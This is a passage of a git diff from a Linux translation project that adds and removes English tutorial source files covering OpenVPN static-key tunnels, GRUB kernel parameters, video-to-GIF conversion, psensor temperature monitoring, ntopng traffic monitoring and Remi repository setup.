encryption, so we'll set up a simple static key configuration. It's not as strong as a proper public key infrastructure (PKI) with root certificates and revocations and all that good stuff, but it's a good-enough solution for the lone nerd needing to call home from the road. OpenVPN helpfully includes a command to create the static key, so create a directory to store the key in, create the key, and make it read-only for the file owner: - - $ sudo mkdir /etc/openvpn/keys/ - $ sudo openvpn --genkey --secret /etc/openvpn/keys/static.key - $ sudo chmod 0400 /etc/openvpn/keys/static.key - -This is a plain-text key that you can open in a text editor and look at if you're curious, and you can name it anything you want; you don't have to call it "static.key". Copy this key to both computers-- yes, the same key. It's not a private-public key pair, but just one single shared key. - -Now we'll create some simple barebones configuration files for each computer. (On Debuntu etc. there are no default configuration files, but rather a wealth of example files in/usr/share/doc/openvpn/.) In my little test tab Studio is the server, and Shop is the wandering laptop that will log into the server. My server configuration file is/etc/openvpn/studio.conf, and this is all it has: - - # config for Studio - dev tun - ifconfig 10.0.0.1 10.0.0.2 - secret /etc/openvpn/keys/static.key - -Make this file readable and writable only to the file owner: - - $ sudo chmod 0600 /etc/openvpn/studio.conf - -The configuration file on the client is similar, with the addition of the IP address of the server: - - # config for Shop - dev tun - ifconfig 10.0.0.2 10.0.0.1 - secret /etc/openvpn/keys/static.key - remote 192.168.1.125 - -Mind the order of your IP addresses on the ifconfig line, because they need to be in the order of local > remote. Now fire up OpenVPN on the server, specifying the server configuration file, and do the same on your client: - - $ sudo openvpn /etc/openvpn/studio.conf - $ sudo openvpn /etc/openvpn/shop.conf - -You'll see the same "Initialization Sequence Completed" message for a successful connection, and you must also look for the absence of this message, which should have appeared when you created your un-encrypted tunnel: - - ******* WARNING *******: all encryption and authentication features disabled - -Firewalls and Dynamic IP Addresses - -OpenVPN itself is simple to configure. The biggest hassles are dealing with firewalls and dynamic IP addresses. There are a skillion different firewalls in the world, so I shall leave it as your homework to figure out how to get through it safely. OpenVPN wants port 1194, and then you'll want to have a forwarding rule that points to the computer you want to access. - -Dynamic IP addresses are another hassle. [Dyn.com][3] is an inexpensive way to manage dynamic IP assignment from your ISP. Or you might be able to pay your ISP a few bucks to get a static address. - -At this point you could stop and call it good, because you can manually start OpenVPN on your server and leave it waiting for you, take your laptop out into the world, and connect to your server whenever you want. However, there are some refinements we can add such as daemonizing OpenVPN on the server, using Network Manager to make the connection automatically, and the biggest missing piece in OpenVPN howtos: how to access your remote resources. So come back next week for the rest of the story. - --------------------------------------------------------------------------------- - -via: http://www.linux.com/learn/tutorials/743590-secure-remote-networking-with-openvpn-on-linux - -译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 - -[1]:http://www.debian.org/security/2008/dsa-1571 -[2]:http://www.linux.com/learn/tutorials/741573-put-a-talking-cow-in-your-linux-message-of-the-day -[3]:http://dyn.com/dns/ diff --git a/sources/How to Set Up Secure Remote Networking with OpenVPN on Linux, Part 2.md b/sources/How to Set Up Secure Remote Networking with OpenVPN on Linux, Part 2.md deleted file mode 100644 index 1e3f50b214..0000000000 --- a/sources/How to Set Up Secure Remote Networking with OpenVPN on Linux, Part 2.md +++ /dev/null @@ -1,93 +0,0 @@ -How to Set Up Secure Remote Networking with OpenVPN on Linux, Part 2 -================================================================================ -Greetings fellow Linux users, and welcome to the second part of our glorious OpenVPN series. When last we met we learned how to set up a [simple OpenVPN encrypted tunnel][1] between a home server and a remote node, such as a laptop. Today we're adding refinements such as how to daemonize OpenVPN so we don't have to start it manually, use Network Manager for easy connecting to our remote server, and access services. - -### Network Manager Integration ### - -Network Manager is a nice OpenVPN client; just make sure you have the network-manager-openvpn plugin installed. We'll use our example configurations from part 1. Open your Network Manager configuration and find the window where you set up a new VPN connection. This looks different on KDE and GNOME, but the information you'll need is the same. When you start you need to see an OpenVPN connection type, like in figure 1; if you don't see this then the plugin is missing. (The figures are from GNOME.) - -![](http://www.linux.com/images/stories/41373/figu-1-openvpn-nm.jpg) - -*Figure 1: Creating a new OpenVPN client config in Network Manager.* - -Figure 2 shows the main configuration screen. Starting from the top: - -- Whatever name you want for this connection. -- The Gateway is the IP address of your remote server. -- Select Static Key from the dropdown menu, -- Then use the filepicker to find the key you want to use. -- This is not a directional key, so select None. -- The remote and local IP addresses are your virtual OpenVPN addresses, from your /etc/openvpn/foo.conf files. -- We did not set a password. -- "Available to all users" or just you, whichever you want. - -![](http://www.linux.com/images/stories/41373/fig-2-openvpn-nm-1.jpg) - -*Figure 2: Main Network Manager configuration for OpenVN client.* - -Save, and then use Network Manager to connect. Easy peasey! Now you can connect and disconnect with the click of a button (figure 3). - -![](http://www.linux.com/images/stories/41373/fig-3-openvpn-nm-3.jpg) - -### Run OpenVPN Automatically ### - -It's simple to start up OpenVPN manually, but you might want to daemonize it on your server for convenience, and to survive accidental reboots. On Debian/Ubuntu/great-thundering-herd-of-spawn distros this is handled automatically: when you install OpenVPN it's configured to automatically start at boot. So, after installation you need to reboot, or start the daemon with one of these commands: - - $ sudo /etc/init.d/openvpn start - $ sudo service openvpn start - -The first command is the old-fashioned way, and the second command uses the service command. service first appeared in Red Hat Linux back in the olden days, and if your distro doesn't install it by default it's probably lurking in the repos if you want to use it. - -Fedora uses the systemd init system, in contrast to Ubuntu which uses Upstart, and Debian still uses good old SysV init. If you have multiple OpenVPN configurations in /etc/openvpn you can start each one selectively in systemd, like this: - - # systemctl start systemctl start openvpn@studio.service - -Where "studio.service" references our example /etc/openvpn/studio.conf file from part one. This invocation does not survive a reboot, so it's just like running openvpn /etc/openvpn/studio.conf, which is how we started OpenVPN sessions manually in part 1. You should be able to daemonize OpenVPN on systemd with chkconfig: - - # service openvpn start - # chkconfig openvpn on - -That should daemonize OpenVPN in the usual way, which is as a monolithic daemon and not individually per .conf file in /etc/openvpn/. systemd supports the chkconfig and servicecommands so it should work. However, the distros that use systemd are quite variable, so if yours is different please let us know in the comments. - -### Strengthening Your Connection ### - -OpenVPN is robust and is good at maintaining a persistent connection, even with service interruptions. You can make your connection even stronger by adding these lines to your .conf files on clients and server: - - persist-tun - persist-key - -These are helpful for laptop users who disrupt their connection a lot with power-save and being on the move. - -### Now What? ### - -Now that you have this all set up and working, what do you do with it? If you're used to using OpenSSH for remote operations you might be stuck in the SSH mindset of being able to log into specific machines and run applications. It doesn't work that way. Rather, think of OpenVPN as a virtual Ethernet cable to your server or LAN, all wrapped in a nice stout layer of encryption. You can run unencrypted and encrypted services over the same tunnel, and you only have to open a single hole in your firewall. - -So you can run SSH in the way you're used to over your OpenVPN tunnel, and do remote administration and run applications. You can access network resources such as fileshares and Web applications. You can force all networking on the client to go through your VPN tunnel, but for this series I've assumed that you want to be able to use both your native and VPN networks. - -So there you are on your trusty laptop and you can surf the Web, run SSH, do whatever you want on whatever network you're connected to. Then when you want to run something over your OpenVPN tunnel open it up and specify the IP address, like this: - - $ ssh carla@10.0.0.1 - -Web applications are easy: point your Web browser to the virtual IP address of your OpenVPN server and log in as usual. For example, I run various Web services for testing on my home server. So I access Drupal at [http://10.0.0.1/drupal][2] and OwnCloud at [http://10.0.0.1/owncloud][3]. I use the nice gFTP graphical FTP client, so all I need to connect is the virtual IP address on the Host line, username, and password. Or use the command line: - - $ ftp 10.0.0.1 21 - -You can administer your MySQL database from afar, using your own username and password: - - $ mysql -h 10.0.0.1 -u admin -p - -So the main thing you need to know is how to add the host specification to whatever command you want to run. - -Obviously, this would all be easier with name services instead of having to use IP addresses, so one of these days we'll learn how to implement name services in OpenVPN. Meanwhile, please enjoy your nice secure OpenVPN tunnel. - --------------------------------------------------------------------------------- - -via: http://www.linux.com/learn/tutorials/745233-how-to-set-up-secure-remote-networking-with-openvpn-on-linux-part-2 - -译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 - -[1]:http://www.linux.com/learn/tutorials/743590-secure-remote-networking-with-openvpn-on-linux -[2]:http://10.0.0.1/drupal -[3]:http://10.0.0.1/owncloud \ No newline at end of file diff --git a/sources/How to add icons to menus in Ubuntu 13.10.md b/sources/How to add icons to menus in Ubuntu 13.10.md deleted file mode 100644 index 99890e69f8..0000000000 --- a/sources/How to add icons to menus in Ubuntu 13.10.md +++ /dev/null @@ -1,39 +0,0 @@ - Vic020认领了 -How to add icons to menus in Ubuntu 13.10 -================================================================================ -By default, using Ubuntu 13.10, the user is met by an optimized set of default applications, behaviors and functionalities, defaults empowering the user in digesting a powerful solid computer experience. - -Ubuntu expresses its features as tweakable, as a consequence, users are able to modify and adjust the defaults with the help of intuitive user-friendly tools, such as Ubuntu Tweak. - -By default, Ubuntu disables the icons from inside menus, meaning, right-clicking on the desktop, opens the right-click menu, menu containing only text entries and no icons. - -Yet, adding icons to menus in Ubuntu 13.10 is as simple as: - -- install Ubuntu Tweak - - sudo add-apt-repository ppa:tualatrix/ppa - - sudo apt-get update - - sudo apt-get install ubuntu-tweak - -- launch Ubuntu Tweak and navigate to `Tweaks-->Miscellaneous` -- check `Menus have icons` - -The **result**: right-clicking now on the desktop, renders icons inside the menu, icon-enablement feature adopted by other right-click menus, too (like for example, the menus from inside Nautilus, Firefox, Gedit, etc). - -![](http://iloveubuntu.net/pictures_me/menu%20icon%203%20ubuntu%2013.10.png) - -![](http://iloveubuntu.net/pictures_me/menu%20icons%20ubuntu%2013.10%201.png) - -![](http://iloveubuntu.net/pictures_me/menu%20icons%20ubuntu%2013.10%202.png) - -While minor, the newly-added icons imprint more clarity and beauty into the frequently-used right-click menus, increasing their level of good looks, especially when the menus are icon-enabled under icon themes featuring monochrome icons. - --------------------------------------------------------------------------------- - -via: http://iloveubuntu.net/how-add-icons-menus-ubuntu-1310 - -译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file diff --git a/sources/How to add kernel boot parameters via GRUB on Linux.md b/sources/How to add kernel boot parameters via GRUB on Linux.md deleted file mode 100644 index ed71539fb3..0000000000 --- a/sources/How to add kernel boot parameters via GRUB on Linux.md +++ /dev/null @@ -1,56 +0,0 @@ - -**【晨光】翻译中** - -How to add kernel boot parameters via GRUB on Linux -================================================================================ -The Linux kernel can be supplied with various parameters during boot time or at run time. These parameters customize the default behavior of the kernel, or inform the kernel about hardware configuration. Kernel parameters can be changed at run time by modifying files in /proc or /sys, while certain kernel parameters need be passed to the kernel at boot time by a boot loader such as GRUB or LILO. - -In this tutorial, I will describe **how to add kernel boot parameters via GRUB on Linux**. - -If you want to change or add kernel parameters when you are using GRUB boot loader, you can edit GRUB config file. The following are distro-specific ways to add kernel boot parameters to a GRUB config file. - -### Add Kernel Boot Parameters on Debian or Ubuntu ### - -If you want to add kernel parameters during boot time on a Debian based system, edit GRUB config template at /etc/default/grub. Add a kernel parameter in the form of “name=value” in GRUB_CMDLINE_LINUX_DEFAULT variable. - - $ sudo -e /etc/default/grub - -> GRUB_CMDLINE_LINUX_DEFAULT="...... name=value" - -Then run the following command to actually generate a GRUB config file. - - $ sudo update-grub - -If the command update-grub is not found, you can install it as follows. - - $ sudo apt-get install grub2-common - -### Add Kernel Boot Parameters on Fedora ### - -To add kernel parameters during boot time on Fedora, edit GRUB config template at /etc/default/grub. Add a kernel parameter in the form of “name=value” in GRUB_CMDLINE_LINUX variable. - - $ sudo -e /etc/default/grub - -> GRUB_CMDLINE_LINUX="...... name=value" - -Then run the following command to generate a GRUB2 config file. - - $ sudo grub2-mkconfig -o /boot/grub2/grub.cfg - -### Add Kernel Boot Parameters on CentOS ### - -To add kernel parameters during boot on CentOS, directly edit a GRUB config file located at /boot/grub/grub.conf. In the config file, look for the entry describing the default Linux image used. The string “default=N” at the top of the config file indicates which entry is the default image. - -[![](http://farm8.staticflickr.com/7429/10618657834_8082c2806b_z.jpg)][1] - -Under the default image entry, append a kernel parameter to the line starting with “kernel /vmlinuz-”. A kernel parameter should be formatted as “name=value”. - --------------------------------------------------------------------------------- - -via: http://xmodulo.com/2013/11/add-kernel-boot-parameters-via-grub-linux.html - -译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 - -[1]:http://www.flickr.com/photos/xmodulo/10618657834/ diff --git a/sources/How to convert video to animated gif image on Linux.md b/sources/How to convert video to animated gif image on Linux.md new file mode 100644 index 0000000000..1656a2b9c0 --- /dev/null +++ b/sources/How to convert video to animated gif image on Linux.md @@ -0,0 +1,73 @@ +翻译中by Linux-pdz +How to convert video to animated gif image on Linux +================================================================================ +Once thought of as outdated art forms, animated GIF images have now come back. If you haven't noticed, quite a few online sharing and social networking sites are now supporting animated GIF images, for example, on [Tumblr][1], [Flickr][2], [Google+][3], and [partly on Facebook][4]. Due to their ease of consumption and sharing, GIF-ed animations are now part of mainstream Internet culture. + +So some of you may wonder how you can create such animated GIF images. There are various online or offline tools dedicated to create animated GIF images. Another option is to create an animated GIF image off of an existing video clip. In this tutorial, I will describe **how to convert a video file to an animated GIF image on Linux**. + +As a more useful example, let me demonstrate how to **convert a YouTube video to an animated GIF image**. + +### Step 1: Download a YouTube Video ### + +First, download a YouTube video that you would like to convert. You can use [youtube-dl][5] tool to save a YouTube video as an MP3 file. Suppose you saved your favorite YouTube video as "funny.mp3". + +### Step 2: Extract Video Frames from a Video ### + +Next, [install FFmpeg][5] on your Linux system, which I will use to extract video frames from the video. + +The following command will extract individual video frames, and save them as GIF images. Make sure to use the output file format ("out%04d.gif") as is. That way, individual frames will be named and saved properly. + + ffmpeg -t -ss -i out%04d.gif + +For example, if you want to extract the video frames of input video, for 5 seconds, starting at 10 seconds from the beginning, run the following command. + + $ ffmpeg -t 5 -ss 00:00:10 -i funny.mp4 out%04d.gif + +After FFmpeg is completed, you will see a list of GIF files created, which are named as "out[\d+].gif". + +### Step 3: Merge Video Frames into an Animated GIF ### + +The next step is to merge individual GIF files into one animated GIF image. For that, you can use ImageMagick. + +First, [install ImageMagick][7] on your Linux system if you haven't done so. + +Then, run the following command to merge created GIF images into a single animated GIF file. + + convert -delay x -loop 0 out*gif + +In the command, "-delay" is an option that controls the animation speed. This option indicates that [ticks/ticks-per-second] seconds must elapse before the display of the next frame. The "-loop 0" option indicates infinite loops of animation. If you want, you can specify "-loop N", in which case the animation will repeat itself N times. + +For example, to create an animated GIF image with 20 frames-per-second and infinite loop, use the following command. + + $ convert -delay 1x20 -loop 0 out*.gif animation.gif + +### Step 4 (Optional): Reduce the Size of an Animated GIF ### + +The last (optional) step is to reduce the size of the created GIF file, by using ImageMagick's GIF optimizer. + +Use the following command to reduce the GIF size. + + convert -layers Optimize animation.gif animation_small.gif + +Now you are ready to share the GIF image on your social networks. The following shows a sample GIF image that I created from a cute YouTube video. + +Enjoy. :-) + +[![](http://farm8.staticflickr.com/7372/10988763123_4e89a18085_o.gif)][8] + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2013/11/convert-video-animated-gif-image-linux.html + +译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://staff.tumblr.com/post/15623140287/1mb-gifs +[2]:http://www.flickr.com/photos/markus-weldon-imagebank/4439159924/sizes/o/in/photostream/ +[3]:https://plus.google.com/communities/110524851358723545415 +[4]:http://mashable.com/2013/08/29/gifs-return-to-facebook/ +[5]:http://xmodulo.com/2013/03/how-to-save-youtube-videos-on-linux.html +[6]:http://xmodulo.com/2013/06/how-to-install-ffmpeg-on-linux.html +[7]:http://ask.xmodulo.com/install-imagemagick-linux.html +[8]:http://www.flickr.com/photos/xmodulo/10988763123/ diff --git a/sources/How to monitor system temperature on Linux.md b/sources/How to monitor system temperature on Linux.md deleted file mode 100644 index 2c0695826c..0000000000 --- a/sources/How to monitor system temperature on Linux.md +++ /dev/null @@ -1,100 +0,0 @@ - 我知道psensor 我知道 我翻译 - -How to monitor system temperature on Linux -================================================================================ -In most cases, you are not supposed to be worried about the temperature of your computer. Barring manufacturing defects, hardware is designed so that its temperature does not exceed maximum operating temperature. But even without any hardware fault, overheating can occur due to various software issues, e.g., buggy graphics card driver, misconfigured fan control program, malfunctioning CPU frequency scaling daemon, etc. - -Overheating may become serious enough to cause permanent damage on your hardware. So watch out for any overheating issue in your system. Even better, have temperature monitoring system in place, so that you will be alerted if system temperature suddenly goes up. - -In this tutorial, I will describe **how to monitor system temperature on Linux**. - -There are several user space tools on Linux, which allow you to check and monitor temperature of various system components. - -[lm-sensors][1] is a software tool that draws from hardware embedded sensors to monitor temperatures, voltage, humidity and fans. [hddtemp][2] is a tool that can measure the temperature of hard drives from [S.M.A.R.T.][3] readings. [psensor][4] is a graphical front-end for temperature monitoring, which visualizes temperature readings from CPUs, NVidia/ATI/AMD GPUs, hard disks, etc. - -In the following, I will describe how to set up psensor to monitor the temperature of CPUs and hard drives. - -### Install psensor on Linux Desktop ### - -psensor can visualize system temperature based on the information obtained from other tools such as lm-sensors and hddtemp. Thus you need to install psensor along with those prerequisites. - -To install psensor on Debian or Ubuntu: - - $ sudo apt-get install lm-sensors hddtemp psensor - -To install psensor on Fedora: - - $ sudo yum install lm_sensors hddtemp - $ sudo yum install gcc gtk3-devel GConf2-devel lm_sensors-devel cppcheck libatasmart-devel libcurl-devel json-c-devel libmicrohttpd-devel help2man libnotify-devel libgtop2-devel make - $ wget http://wpitchoune.net/psensor/files/psensor-0.8.0.3.tar.gz - $ tar xvfvz psensor-0.8.0.3.tar.gz - $ cd psensor-0.8.0.3 - $ ./configure - $ make - $ sudo make install - -Due to the requirement for GTK3 libraries, psensor is not compatible with the GNOME 2 desktop of CentOS or RHEL 6. - -### Configure psensor on Linux ### - -Before launching psensor, you need to configure lm_sensors and hddtemp first. - -#### lm_sensors configuration #### - -To configure lm_sensors, run the following command. Choose YES to every question. - - $ sudo sensors-detect - -This command will probe for and detect embedded sensors in your hardware (including CPUs, memory controllers, I/O chips), and automatically determine which driver modules need to be loaded to check temperature on your system. - -Once sensor probing is completed, you will be asked to add detected driver module(s) to /etc configuration, so they can be loaded automatically upon boot. - -On Debian or Ubuntu, detected driver modules will be added to /etc/modules. On Fedora, the driver information will be added to /etc/sysconfig/lm_sensors. - -Next, proceed to load necessary modules as follows. - -On Ubuntu: - - $ sudo service module-init-tools start - -On Debian: - - $ sudo /etc/init.d/kmod start - -On Fedora: - - $ sudo service lm_sensors start - -#### hddtemp configuration #### - -You also need to launch hddtemp which monitors the temperature of hard drives. - -Run the following command to launch hddtemp as a daemon. Replace “/dev/sda” with the disk drive to monitor on your system. - - $ sudo hddtemp -d /dev/sda - -### Monitor System Temperature with psensor ### - -To start monitoring temperature with psensor, simply run: - - $ psensor - -The psensor window will show a list of available sensors, and visualize temperature readings from these sensors. You can selectively enable or disable each sensor. - -[![](http://farm8.staticflickr.com/7448/10719475225_f89b6f7191_z.jpg)][5] - -Optionally, you can set an alarm level for each sensor, so that you can be notified when the temperature from a sensor exceeds a threshold. - --------------------------------------------------------------------------------- - -via: http://xmodulo.com/2013/11/monitor-system-temperature-linux.html - -译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 - -[1]:http://lm-sensors.org/ -[2]:http://www.guzu.net/linux/hddtemp.php -[3]:http://en.wikipedia.org/wiki/S.M.A.R.T. -[4]:http://wpitchoune.net/blog/psensor/ -[5]:http://www.flickr.com/photos/xmodulo/10719475225/ diff --git a/sources/How to set up web-based network traffic monitoring system on Linux.md b/sources/How to set up web-based network traffic monitoring system on Linux.md deleted file mode 100644 index 76c8682b22..0000000000 --- a/sources/How to set up web-based network traffic monitoring system on Linux.md +++ /dev/null @@ -1,124 +0,0 @@ -翻译中 by小眼儿 - -How to set up web-based network traffic monitoring system on Linux -================================================================================ -When you are tasked with monitoring network traffic on the local network, you can consider many different options to do it, depending on the scale/traffic of the local network, monitoring platforms/interface, types of backend database, etc. - -[ntopng][1] is an open-source (GPLv3) network traffic analyzer which provides a web interface for real-time network traffic monitoring. It runs on multiple platforms including Linux and MacOS X. ntopng comes with a simple RMON-like agent with built-in web server capability, and uses [Redis][2]-backed key-value server to store time series statistics. You can install ntopng network traffic analyzer on any designated monitoring server connected to your network, and use a web browser to access real-time traffic reports available on the server. - -In this tutorial, I will describe **how to set up a web-based network traffic monitoring system on Linux by using ntopng.** - -### Features of ntopng ### - -- Flow-level, protocol-level real-time analysis of local network traffic. -- Domain, AS (Autonomous System), VLAN level statistics. -- Geolocation of IP addresses. -- Deep packet inspection (DPI) based service discovery (e.g., Google, Facebook). -- Historical traffic analysis (e.g., hourly, daily, weekly, monthly, yearly). -- Support for sFlow, NetFlow (v5/v9) and IPFIX through nProbe. -- Network traffic matrix (who’s talking to who?). -- IPv6 support. - -### Install ntopng on Linux ### - -The official website offers binary packages for [Ubuntu][3] and [CentOS][4]. So if you use either platform, you can install these packages. - -If you want to build the latest ntopng from [its source][5], follow the instructions below. - -To build ntopng on Debian, Ubuntu or Linux Mint: - - $ sudo apt-get install libpcap-dev libglib2.0-dev libgeoip-dev redis-server wget - $ tar xzf ntopng-1.0.tar.gz - $ cd ntopng-1.0/ - $ ./configure - $ make geoip - $ make - -In the above steps, “make geoip” will automatically download a free version of GeoIP databases with wget from maxmind.com. So make sure that your system is connected to the network. - -To build ntopng on Fedora: - - $ sudo yum install libpcap-devel glib2-devel GeoIP-devel - libxml2-devel redis wget - $ tar xzf ntopng-1.0.tar.gz - $ cd ntopng-1.0/ - $ ./configure - $ make geoip - $ make - -To install ntopng on CentOS or RHEL, first [set up EPEL repository][6], and then follow the same instructions as in [Fedora][7] above. - -### Configure ntopng on Linux ### - -After building ntopng, create a configuration directory for ntopng, and prepare default configuration files as follows. I assume that “192.168.1.0/24″ is the CIDR address prefix of your local network. - - $ sudo mkir /etc/ntopng -p - - $ sudo -e /etc/ntopng/ntopng.start - -> --local-networks "192.168.1.0/24" -> -> --interface 1 - - $ sudo -e /etc/ntopng/ntopng.conf - -> -G=/var/run/ntopng.pid - -Before running ntopng, make sure to first start redis, which is a key-value store for ntopng. - -To start ntopng on Debian, Ubuntu or Linux Mint: - - $ sudo /etc/init.d/redis-server restart - $ sudo ./ntopng - -To start ntopng on Fedora, CentOS or RHEL: - - $ sudo service redis restart - $ sudo ./ntopng - -By default, ntopng listens on TCP/3000 port. Verify this is the case using the command below. - - $ sudo netstat -nap|grep ntopng - -> tcp 0 0 0.0.0.0:3000 0.0.0.0:* LISTEN 29566/ntopng - -### Monitor Network Traffic in Web-Based Interface ### - -Once ntopng is successfully running, go to http://:3000 on your web browser to access the web interface of ntopng. - -You will see the login screen of ntopng. Use the default username and password: “admin/admin” to log in. - -Here are a few screenshots of ntopng in action. - -Real-time visualization of top flows. - -[![](http://farm4.staticflickr.com/3830/10487165303_8bf0b25668_z.jpg)][8] - -Live statistics of top hosts, top protocols and top AS numbers. - -[![](http://farm3.staticflickr.com/2886/10486988416_7c8770e823_z.jpg)][9] - -Real time report of active flows with DPI-based automatic application/service discovery. - -Historic traffic analysis. - -[![](http://farm8.staticflickr.com/7379/10486995114_f0b58243a8_z.jpg)][10] - --------------------------------------------------------------------------------- - -via: http://xmodulo.com/2013/10/set-web-based-network-traffic-monitoring-linux.html - -译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 - -[1]:http://www.ntop.org/products/ntop/ -[2]:http://redis.io/ -[3]:http://apt.ntop.org/ -[4]:http://rpm.ntop.org/ -[5]:http://sourceforge.net/projects/ntop/files/ntopng/ -[6]:http://xmodulo.com/2013/03/how-to-set-up-epel-repository-on-centos.html -[7]:http://xmodulo.com/go/fedora_guide -[8]:http://www.flickr.com/photos/xmodulo/10487165303/ -[9]:http://www.flickr.com/photos/xmodulo/10486988416/ -[10]:http://www.flickr.com/photos/xmodulo/10486995114/ diff --git a/sources/How to setup Remi repository on CentOS 5 or 6 and Fedora 18 or 19 or 20.md b/sources/How to setup Remi repository on CentOS 5 or 6 and Fedora 18 or 19 or 20.md new file mode 100644 index 0000000000..8a288839e8 --- /dev/null +++ b/sources/How to setup Remi repository on CentOS 5 or 6 and Fedora 18 or 19 or 20.md @@ -0,0 +1,141 @@ +How to setup Remi repository on CentOS 5/6 and Fedora 18/19/20 +================================================================================ +Remi repository + +The [Remi (Les RPM de Remi) repository][1] provides the latest version of various software packages related to php and mysql for redhat based linux distros like centos, fedora and RHEL. It provides php, mysql, pecl packages, pear packages any many other open source/free php applications and libraries and many other php related packages. So its designed to assist in setting up apache+php based web servers with various kinds of open source applications. The default centos/fedora distros do no have the latest versions of these packages so repositories like Remi do the job. + +The repository can be easily setup on CentOS/Fedora through the installer rpm which will setup the repository configuration. + +### Setup on CentOS 5.x/6.x ### + +The Remi installer rpm file is available for both 5.x and 6.x versions of CentOS. The urls are as follows + +CentOS 5.x - [http://rpms.famillecollet.com/enterprise/remi-release-5.rpm][2] +CentOS 6.x - [http://rpms.famillecollet.com/enterprise/remi-release-6.rpm][3] + +On CentOS The Remi repository depends on the Epel repository which must be installed along with it, for it to work. If you already have epel repository setup then execute the following command + + $ wget http://rpms.famillecollet.com/enterprise/remi-release-6.rpm + $ rpm -Uvh remi-release-6*.rpm + +If you do not already have Epel setup then run the following command. It will download the Epel installer file and install it along with Remi + + $ wget http://dl.fedoraproject.org/pub/epel/6/i386/epel-release-6-8.noarch.rpm + $ wget http://rpms.famillecollet.com/enterprise/remi-release-6.rpm + $ rpm -Uvh remi-release-6*.rpm epel-release-6*.rpm + +For CentOS 5.x + + $ wget http://dl.fedoraproject.org/pub/epel/5/i386/epel-release-5-4.noarch.rpm + $ wget http://rpms.famillecollet.com/enterprise/remi-release-5.rpm + $ rpm -Uvh remi-release-5*.rpm epel-release-5*.rpm + +Thats it. Now the remi repository should be setup on your CentOS system. + +### Setup on Fedora 18/19 ### + +On Fedora, Remi depends on the [Rpmfusion][4] repository. So first setup the rpmfusion repository. + + ## Remi Dependency on Fedora 19 / 18 / 17 ## + rpm -Uvh http://download1.rpmfusion.org/free/fedora/rpmfusion-free-release-stable.noarch.rpm + rpm -Uvh http://download1.rpmfusion.org/nonfree/fedora/rpmfusion-nonfree-release-stable.noarch.rpm + +The rpm file and configuration instructions for rpmfusion can be found here. + +After rpmfusion is setup, move ahead to setting up Remi. + + $ wget http://rpms.famillecollet.com/remi-release-19.rpm + $ yum install remi-release-19.rpm + +Or directly + + ## Fedora 20 ## + rpm -Uvh http://rpms.famillecollet.com/remi-release-20.rpm + + ## Fedora 19 ## + rpm -Uvh http://rpms.famillecollet.com/remi-release-19.rpm + + ## Fedora 18 ## + rpm -Uvh http://rpms.famillecollet.com/remi-release-18.rpm + + ## Fedora 17 ## + rpm -Uvh http://rpms.famillecollet.com/remi-release-17.rpm + +Make sure to use the correct url for your Fedora version. That should finish setting up the Remi repository on Fedora. + +### Verify Remi ### + +After setting up the Remi repository, its time to check if its properly done. The Remi repository is disabled by default. If you want to enable it permanently then edit the file /etc/yum.repos.d/remi.repo + + $ sudo nano /etc/yum.repos.d/remi.repo + +> [remi] +> name=Les RPM de remi pour Enterprise Linux 6 - $basearch +> #baseurl=http://rpms.famillecollet.com/enterprise/6/remi/$basearch/ +> mirrorlist=http://rpms.famillecollet.com/enterprise/6/remi/mirror +> enabled=0 +> gpgcheck=1 +> gpgkey=file:///etc/pki/rpm-gpg/RPM-GPG-KEY-remi + +The very first section that starts with [remi] is the main repository. Change the value of enabled from 0 to 1 to enable it. + +Otherwise it can be enabled via yum when needed using the enablerepo option. + + # yum repolist --enablerepo=remi + Loaded plugins: fastestmirror + Loading mirror speeds from cached hostfile + * base: virror.hanoilug.org + * epel: mirror.unej.ac.id + * extras: mirrors.fibo.vn + * remi: mirror.smartmedia.net.id + * updates: mirrors.fibo.vn + repo id repo name status + base CentOS-6 - Base 6,381 + epel Extra Packages for Enterprise Linux 6 - x86_64 10,031 + extras CentOS-6 - Extras 13 + nginx nginx repo 47 + remi Les RPM de remi pour Enterprise Linux 6 - x86_64 1,320 + updates CentOS-6 - Updates 1,555 + repolist: 19,347 + # + +Using the enablerepo option is sufficient when needed. As can be seen, the remi repository provides around 1320 packages. There are 2 more repos, namely remi-php55 and remi-test that provide even more packages. + +### List all packages ### + +To list out all the packages provided by the Remi repo, use the following command. + + # yum --disablerepo=* --enablerepo=remi,remi-php55,remi-test list available | less + +### Install packages from Remi repository ### + +To install packages from Remi repo, use the enablerepo option again + + # yum --enablerepo=remi,remi-php55 install php + +### Resources ### + +Remi repository official site +[http://rpms.famillecollet.com/][5] + +Remi FAQ +[http://blog.famillecollet.com/pages/English-FAQ][6] + +Remi repository configuration instructions +[http://blog.famillecollet.com/pages/Config-en][7] + +-------------------------------------------------------------------------------- + +via: http://www.binarytides.com/setup-remi-repository-centos-fedora/ + +译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://rpms.famillecollet.com/ +[2]:http://rpms.famillecollet.com/enterprise/remi-release-5.rpm +[3]:http://rpms.famillecollet.com/enterprise/remi-release-6.rpm +[4]:http://rpmfusion.org/ 